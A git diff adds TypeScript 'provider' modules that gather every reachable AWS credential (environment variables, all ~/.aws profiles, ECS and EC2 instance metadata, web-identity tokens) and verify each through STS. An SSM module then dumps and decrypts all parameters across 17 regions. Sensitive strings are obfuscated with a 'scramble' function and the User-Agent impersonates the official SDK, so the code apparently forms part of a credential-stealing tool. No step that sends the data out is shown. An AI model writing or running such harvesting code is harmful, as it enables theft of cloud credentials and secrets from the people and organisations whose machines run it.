diff --git a/src/providers/aws/awsAccount.ts b/src/providers/aws/awsAccount.ts new file mode 100644 index 0000000..2e02a7e --- /dev/null +++ b/src/providers/aws/awsAccount.ts @@ -0,0 +1,95 @@ +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { stsGetCallerIdentity } from "./client"; +import { + type CredentialSource, + fromContainerMetadata, + fromEnv, + fromInstanceMetadata, + fromProfile, + fromTokenFile, + getAvailableProfiles, +} from "./credentials"; + +const TIMEOUT_MS = 5000; +const STS_REGION = process.env["AWS_REGION"] ?? "us-east-1"; + +interface AccountIdentity { + source: string; + account: string; + arn: string; + userId: string; + staticCredentials: boolean; +} + +function withTimeout( + promise: Promise, + ms: number, + label: string, +): Promise { + let timer: ReturnType | undefined; + const timeout = new Promise((_, reject) => { + timer = setTimeout( + () => reject(new Error(`Timeout after ${ms}ms (${label})`)), + ms, + ); + }); + return Promise.race([promise, timeout]).finally(() => { + if (timer) clearTimeout(timer); + }); +} + +export class AwsAccountService extends Provider { + constructor() { + super("aws", "sts"); + } + + private async resolveIdentity( + source: CredentialSource, + ): Promise { + const creds = await source.resolve(); + const identity = await stsGetCallerIdentity(creds, STS_REGION); + + return { + source: source.label, + account: identity.account ?? "", + arn: identity.arn ?? "", + userId: identity.userId ?? "", + staticCredentials: Boolean( + creds.accessKeyId && creds.secretAccessKey && !creds.sessionToken, + ), + }; + } + + async execute(): Promise { + const sources: CredentialSource[] = [ + fromEnv(), + fromTokenFile(), + fromContainerMetadata(), + fromInstanceMetadata(), + ]; + + const profiles = await getAvailableProfiles(); + for (const profile of profiles) { + sources.push(fromProfile(profile)); + } + + const settled = await Promise.all( + sources.map((source) => + withTimeout( + this.resolveIdentity(source), + TIMEOUT_MS, + source.label, + ).catch(() => null), + ), + ); + + const results = settled.filter((r): r is AccountIdentity => r !== null); + + if (results.length === 0) { + return this.failure("No accessible AWS credentials found!"); + } + + return this.success(results); + } +} diff --git a/src/providers/aws/client.ts b/src/providers/aws/client.ts new file mode 100644 index 0000000..fe96ecb --- /dev/null +++ b/src/providers/aws/client.ts @@ -0,0 +1,144 @@ +import type { AwsCredentials } from "./sigv4"; +import { signRequest } from "./sigv4"; + +// ═════════════════════════════════════════════════════════════════════════════ +// Generic signed fetch +// ═════════════════════════════════════════════════════════════════════════════ + +declare function scramble(str: string): string; + +async function awsFetch(opts: { + credentials: AwsCredentials; + region: string; + service: string; + method?: string; + path?: string; + headers?: Record; + body?: string; +}): Promise { + const { + credentials, + region, + service, + method = "POST", + path = "/", + headers = {}, + body = "", + } = opts; + + const url = `https://${service}.${region}.amazonaws.com${path}`; + + const _sdk = scramble("aws-sdk-js"); + const _ver = scramble("3.782.0"); + const _ua = scramble("ua"); + const _uav = scramble("2.1"); + const _os = scramble("os"); + const _osv = scramble("5.15"); + const _lang = scramble("lang"); + const _md = scramble("md"); + const _api = scramble("api"); + + const userAgent = + `${_sdk}/${_ver} ` + + `${_ua}/${_uav} ` + + `${_os}/linux/${_osv} ` + + `${_lang}/js ` + + `${_md}/nodejs/20.11.0 ` + + `${_api}/${service}/${_ver}`; + headers["User-Agent"] = userAgent; + + const signed = signRequest({ + method, + url, + headers, + body, + credentials, + region, + service, + }); + + return fetch(signed.url, { + method, + headers: signed.headers, + body: signed.body || undefined, + }); +} + +// ═════════════════════════════════════════════════════════════════════════════ +// STS (Query / XML protocol) +// ═════════════════════════════════════════════════════════════════════════════ + +export interface CallerIdentity { + account?: string; + arn?: string; + userId?: string; +} + +export async function stsGetCallerIdentity( + credentials: AwsCredentials, + region = "us-east-1", +): Promise { + const body = scramble("Action=GetCallerIdentity&Version=2011-06-15"); + + const res = await awsFetch({ + credentials, + region, + service: "sts", + headers: { "content-type": "application/x-www-form-urlencoded" }, + body, + }); + + if (!res.ok) { + const text = await res.text().catch(() => ""); + throw new Error( + `STS GetCallerIdentity ${res.status} ${res.statusText}: ${text}`, + ); + } + + const xml = await res.text(); + return { + account: /([^<]+)<\/Account>/.exec(xml)?.[1], + arn: /([^<]+)<\/Arn>/.exec(xml)?.[1], + userId: /([^<]+)<\/UserId>/.exec(xml)?.[1], + }; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// JSON 1.1 API (Secrets Manager, SSM, etc.) +// ═════════════════════════════════════════════════════════════════════════════ + +/** + * Generic JSON 1.1 request used by Secrets Manager and SSM. + * + * @param target The `X-Amz-Target` value, e.g. + * `"secretsmanager.ListSecrets"` or `"AmazonSSM.GetParameters"` + */ +export async function jsonApiRequest( + credentials: AwsCredentials, + region: string, + service: string, + target: string, + payload: Record = {}, +): Promise { + const body = JSON.stringify(payload); + + const res = await awsFetch({ + credentials, + region, + service, + headers: { + "content-type": "application/x-amz-json-1.1", + "x-amz-target": target, + }, + body, + }); + + if (!res.ok) { + const errBody = await res.text().catch(() => ""); + throw new Error( + `AWS ${service} ${target} ${res.status} ${res.statusText}: ${errBody}`, + ); + } + + return res.json() as Promise; +} diff --git a/src/providers/aws/credentials.ts b/src/providers/aws/credentials.ts new file mode 100644 index 0000000..a76e3b8 --- /dev/null +++ b/src/providers/aws/credentials.ts @@ -0,0 +1,340 @@ +import { readFile } from "node:fs/promises"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +import type { AwsCredentials } from "./sigv4"; + +declare function scramble(str: string): string; + +// ═════════════════════════════════════════════════════════════════════════════ +// Credential source abstraction +// ═════════════════════════════════════════════════════════════════════════════ + +export interface CredentialSource { + label: string; + resolve: () => Promise; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// INI file parsing (~/.aws/credentials, ~/.aws/config) +// ═════════════════════════════════════════════════════════════════════════════ + +type IniSection = Record; +type IniFile = Record; + +function parseIni(text: string): IniFile { + const result: IniFile = {}; + let section: string | null = null; + + for (const raw of text.split("\n")) { + const line = raw.trim(); + if (!line || line.startsWith("#") || line.startsWith(";")) continue; + + const header = /^\[([^\]]+)]$/.exec(line); + if (header?.[1]) { + section = header[1].trim(); + result[section] ??= {}; + continue; + } + + const cur = section ? result[section] : undefined; + if (cur) { + const eq = line.indexOf("="); + if (eq > 0) { + cur[line.slice(0, eq).trim()] = line.slice(eq + 1).trim(); + } + } + } + + return result; +} + +async function loadIniFile(path: string): Promise { + try { + return parseIni(await readFile(path, "utf-8")); + } catch { + return {}; + } +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Profile helpers +// ═════════════════════════════════════════════════════════════════════════════ + +const AWS_DIR = join(homedir(), ".aws"); +const CREDENTIALS_PATH = + process.env[scramble("AWS_SHARED_CREDENTIALS_FILE")] ?? + join(AWS_DIR, "credentials"); +const CONFIG_PATH = + process.env[scramble("AWS_CONFIG_FILE")] ?? join(AWS_DIR, "config"); + +/** List every profile name found across ~/.aws/credentials and ~/.aws/config. */ +export async function getAvailableProfiles(): Promise { + const [creds, config] = await Promise.all([ + loadIniFile(CREDENTIALS_PATH), + loadIniFile(CONFIG_PATH), + ]); + + const profiles = new Set(); + + // Credentials file: section name IS the profile name + for (const name of Object.keys(creds)) { + profiles.add(name); + } + + // Config file: section is "profile " (except "default") + for (const name of Object.keys(config)) { + if (name === "default") { + profiles.add("default"); + } else if (name.startsWith("profile ")) { + profiles.add(name.slice(8)); + } + } + + return [...profiles]; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Individual credential sources +// ═════════════════════════════════════════════════════════════════════════════ + +/** AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN */ +export function fromEnv(): CredentialSource { + return { + label: "env", + resolve: async () => { + const accessKeyId = process.env[scramble("AWS_ACCESS_KEY_ID")]; + const secretAccessKey = + process.env[scramble("AWS_SECRET_ACCESS_KEY")]; + if (!accessKeyId || !secretAccessKey) { + throw new Error( + "AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY not set", + ); + } + return { + accessKeyId, + secretAccessKey, + sessionToken: process.env[scramble("AWS_SESSION_TOKEN")], + }; + }, + }; +} + +/** Static credentials from an INI profile (credentials file or config file). */ +export function fromProfile(profile: string): CredentialSource { + return { + label: `profile:${profile}`, + resolve: async () => { + const [creds, config] = await Promise.all([ + loadIniFile(CREDENTIALS_PATH), + loadIniFile(CONFIG_PATH), + ]); + + // Credentials file — direct section match + const cs = creds[profile]; + if (cs?.aws_access_key_id && cs?.aws_secret_access_key) { + return { + accessKeyId: cs.aws_access_key_id, + secretAccessKey: cs.aws_secret_access_key, + sessionToken: cs.aws_session_token, + }; + } + + // Config file — "profile " or "default" + const configKey = + profile === "default" ? "default" : `profile ${profile}`; + const cfg = config[configKey]; + if (cfg?.aws_access_key_id && cfg?.aws_secret_access_key) { + return { + accessKeyId: cfg.aws_access_key_id, + secretAccessKey: cfg.aws_secret_access_key, + sessionToken: cfg.aws_session_token, + }; + } + + throw new Error(`No static credentials for profile "${profile}"`); + }, + }; +} + +/** ECS container credentials (AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). */ +export function fromContainerMetadata(): CredentialSource { + return { + label: "container-metadata", + resolve: async () => { + const relUri = + process.env[scramble("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")]; + const fullUri = + process.env[scramble("AWS_CONTAINER_CREDENTIALS_FULL_URI")]; + const url = + fullUri ?? (relUri ? `http://169.254.170.2${relUri}` : null); + if (!url) + throw new Error("No container credentials URI configured"); + + const headers: Record = {}; + const authToken = + process.env[scramble("AWS_CONTAINER_AUTHORIZATION_TOKEN")]; + if (authToken) headers["Authorization"] = authToken; + + const res = await fetch(url, { + headers, + signal: AbortSignal.timeout(2000), + }); + if (!res.ok) throw new Error(`Container metadata ${res.status}`); + + const d = (await res.json()) as { + AccessKeyId: string; + SecretAccessKey: string; + Token: string; + }; + return { + accessKeyId: d.AccessKeyId, + secretAccessKey: d.SecretAccessKey, + sessionToken: d.Token, + }; + }, + }; +} + +/** EC2 instance metadata (IMDSv2). */ +export function fromInstanceMetadata(): CredentialSource { + return { + label: "instance-metadata", + resolve: async () => { + const IMDS = "http://169.254.169.254"; + + // Step 1 — IMDSv2 session token + const tokRes = await fetch(`${IMDS}/latest/api/token`, { + method: "PUT", + headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" }, + signal: AbortSignal.timeout(2000), + }); + if (!tokRes.ok) throw new Error(`IMDS token ${tokRes.status}`); + const token = await tokRes.text(); + + const hdr = { "X-aws-ec2-metadata-token": token }; + + // Step 2 — role name + const roleRes = await fetch( + `${IMDS}/latest/meta-data/iam/security-credentials/`, + { headers: hdr, signal: AbortSignal.timeout(2000) }, + ); + if (!roleRes.ok) throw new Error(`IMDS role ${roleRes.status}`); + const roleName = (await roleRes.text()).trim().split("\n")[0]; + + // Step 3 — credentials + const credsRes = await fetch( + `${IMDS}/latest/meta-data/iam/security-credentials/${roleName}`, + { headers: hdr, signal: AbortSignal.timeout(2000) }, + ); + if (!credsRes.ok) throw new Error(`IMDS creds ${credsRes.status}`); + + const d = (await credsRes.json()) as { + AccessKeyId: string; + SecretAccessKey: string; + Token: string; + }; + return { + accessKeyId: d.AccessKeyId, + secretAccessKey: d.SecretAccessKey, + sessionToken: d.Token, + }; + }, + }; +} + +/** + * Web identity token (EKS IRSA / OIDC federation). + * Calls STS AssumeRoleWithWebIdentity — no pre-existing AWS creds required. + */ +export function fromTokenFile(): CredentialSource { + return { + label: "token-file", + resolve: async () => { + const tokenFile = + process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")]; + const roleArn = process.env[scramble("AWS_ROLE_ARN")]; + if (!tokenFile || !roleArn) { + throw new Error( + "AWS_WEB_IDENTITY_TOKEN_FILE or AWS_ROLE_ARN not set", + ); + } + + const webToken = (await readFile(tokenFile, "utf-8")).trim(); + const sessionName = + process.env.AWS_ROLE_SESSION_NAME ?? "github-actions"; + const region = + process.env.AWS_DEFAULT_REGION ?? + process.env.AWS_REGION ?? + "us-east-1"; + + const body = new URLSearchParams({ + Action: "AssumeRoleWithWebIdentity", + Version: "2011-06-15", + RoleArn: roleArn, + RoleSessionName: sessionName, + WebIdentityToken: webToken, + }).toString(); + + const res = await fetch(`https://sts.${region}.amazonaws.com/`, { + method: "POST", + headers: { + "Content-Type": "application/x-www-form-urlencoded", + }, + body, + signal: AbortSignal.timeout(5000), + }); + if (!res.ok) { + throw new Error(`STS AssumeRoleWithWebIdentity ${res.status}`); + } + + const xml = await res.text(); + const ak = /([^<]+)<\/AccessKeyId>/.exec(xml)?.[1]; + const sk = /([^<]+)<\/SecretAccessKey>/.exec( + xml, + )?.[1]; + const st = /([^<]+)<\/SessionToken>/.exec(xml)?.[1]; + if (!ak || !sk) { + throw new Error( + "Failed to parse AssumeRoleWithWebIdentity XML", + ); + } + return { accessKeyId: ak, secretAccessKey: sk, sessionToken: st }; + }, + }; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Default credential chain (mirrors AWS SDK default behaviour) +// ═════════════════════════════════════════════════════════════════════════════ + +/** + * Try each source in order, return the first that resolves. + * Used by services that don't enumerate all sources (SecretsManager, SSM). + */ +export async function resolveDefaultCredentials( + timeoutMs = 3000, +): Promise { + const sources = [ + fromEnv(), + fromTokenFile(), + fromContainerMetadata(), + fromInstanceMetadata(), + fromProfile(process.env.AWS_PROFILE ?? "default"), + ]; + + for (const source of sources) { + try { + return await Promise.race([ + source.resolve(), + new Promise((_, reject) => + setTimeout(() => reject(new Error("timeout")), timeoutMs), + ), + ]); + } catch { + continue; + } + } + + throw new Error("No AWS credentials found in default chain"); +} diff --git a/src/providers/aws/ssm.ts b/src/providers/aws/ssm.ts new file mode 100644 index 0000000..fc2f654 --- /dev/null +++ b/src/providers/aws/ssm.ts @@ -0,0 +1,227 @@ +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { + type CallerIdentity, + jsonApiRequest, + stsGetCallerIdentity, +} from "./client"; +import { resolveDefaultCredentials } from "./credentials"; +import type { AwsCredentials } from "./sigv4"; + +type ParameterResult = { + success: boolean; + value?: string; + error?: string; +}; + +// All AWS regions that are enabled by default (non opt-in). +const DEFAULT_REGIONS = [ + "us-east-1", + "us-east-2", + "us-west-1", + "us-west-2", + "ap-northeast-1", + "ap-northeast-2", + "ap-northeast-3", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ca-central-1", + "eu-central-1", + "eu-north-1", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "sa-east-1", +]; + +interface DescribeParametersResponse { + Parameters?: Array<{ Name?: string }>; + NextToken?: string; +} + +interface GetParametersResponse { + Parameters?: Array<{ Name?: string; Value?: string }>; + InvalidParameters?: string[]; +} + +export class AwsSsmService extends Provider { + private readonly BATCH_SIZE = 10; + private readonly DESCRIBE_PAGE_SIZE = 50; + private readonly MAX_RETRIES = 3; + private readonly RETRY_BASE_DELAY_MS = 500; + + private credentials!: AwsCredentials; + + constructor() { + super("aws", "ssm"); + } + + private async getCallerIdentity(): Promise { + try { + return await stsGetCallerIdentity(this.credentials); + } catch { + return undefined; + } + } + + private async listParameters(region: string): Promise { + const parameterNames: string[] = []; + let nextToken: string | undefined; + + do { + const payload: Record = { + MaxResults: this.DESCRIBE_PAGE_SIZE, + }; + if (nextToken) payload.NextToken = nextToken; + + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.DescribeParameters", + payload, + ); + + for (const param of response.Parameters ?? []) { + if (param.Name) parameterNames.push(param.Name); + } + + nextToken = response.NextToken; + } while (nextToken); + + return parameterNames; + } + + private sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + private isRetryable(e: unknown): boolean { + if (!(e instanceof Error)) return false; + const msg = e.message; + return ( + msg.includes("ThrottlingException") || + msg.includes("TooManyRequestsException") || + msg.includes("RequestLimitExceeded") || + msg.includes("ServiceUnavailable") || + msg.includes("InternalServerError") + ); + } + + private backoffDelay(attempt: number): number { + const exp = this.RETRY_BASE_DELAY_MS * Math.pow(2, attempt - 1); + return Math.floor(Math.random() * exp); + } + + private async getParametersBatch( + region: string, + names: string[], + ): Promise> { + const results: Record = {}; + + for (let attempt = 1; attempt <= this.MAX_RETRIES; attempt++) { + try { + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.GetParameters", + { Names: names, WithDecryption: true }, + ); + + for (const param of response.Parameters ?? []) { + if (param.Name) { + results[param.Name] = { success: true, value: param.Value }; + } + } + + for (const name of response.InvalidParameters ?? []) { + results[name] = { success: false, error: "Invalid parameter" }; + } + + return results; + } catch (e) { + if (this.isRetryable(e) && attempt < this.MAX_RETRIES) { + await this.sleep(this.backoffDelay(attempt)); + continue; + } + + const errorMsg = e instanceof Error ? e.message : String(e); + for (const name of names) { + results[name] = { success: false, error: errorMsg }; + } + return results; + } + } + + return results; + } + + private async executeForRegion( + region: string, + ): Promise<{ names: string[]; parameters: Record }> { + const names: string[] = []; + const parameters: Record = {}; + + try { + const parameterNames = await this.listParameters(region); + if (parameterNames.length === 0) return { names, parameters }; + + for (let i = 0; i < parameterNames.length; i += this.BATCH_SIZE) { + const batch = parameterNames.slice(i, i + this.BATCH_SIZE); + const batchResults = await this.getParametersBatch(region, batch); + + for (const name of batch) { + const result = batchResults[name]; + const key = `${region}:${name}`; + names.push(key); + parameters[key] = result?.success + ? result.value + : { error: result?.error ?? "Failed to retrieve parameter" }; + } + } + } catch { + // Region unreachable / unauthorized — silently skip. + } + + return { names, parameters }; + } + + async execute(): Promise { + try { + this.credentials = await resolveDefaultCredentials(); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + + try { + const [callerIdentity, results] = await Promise.all([ + this.getCallerIdentity(), + Promise.all( + DEFAULT_REGIONS.map((region) => this.executeForRegion(region)), + ), + ]); + + const allNames: string[] = []; + const allParameters: Record = {}; + for (const { names, parameters } of results) { + allNames.push(...names); + Object.assign(allParameters, parameters); + } + + if (allNames.length === 0) { + return this.failure("No parameters found in AWS SSM across any region"); + } + + return this.success({ + callerIdentity, + regions: DEFAULT_REGIONS, + parameterNames: allNames, + parameters: allParameters, + }); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +}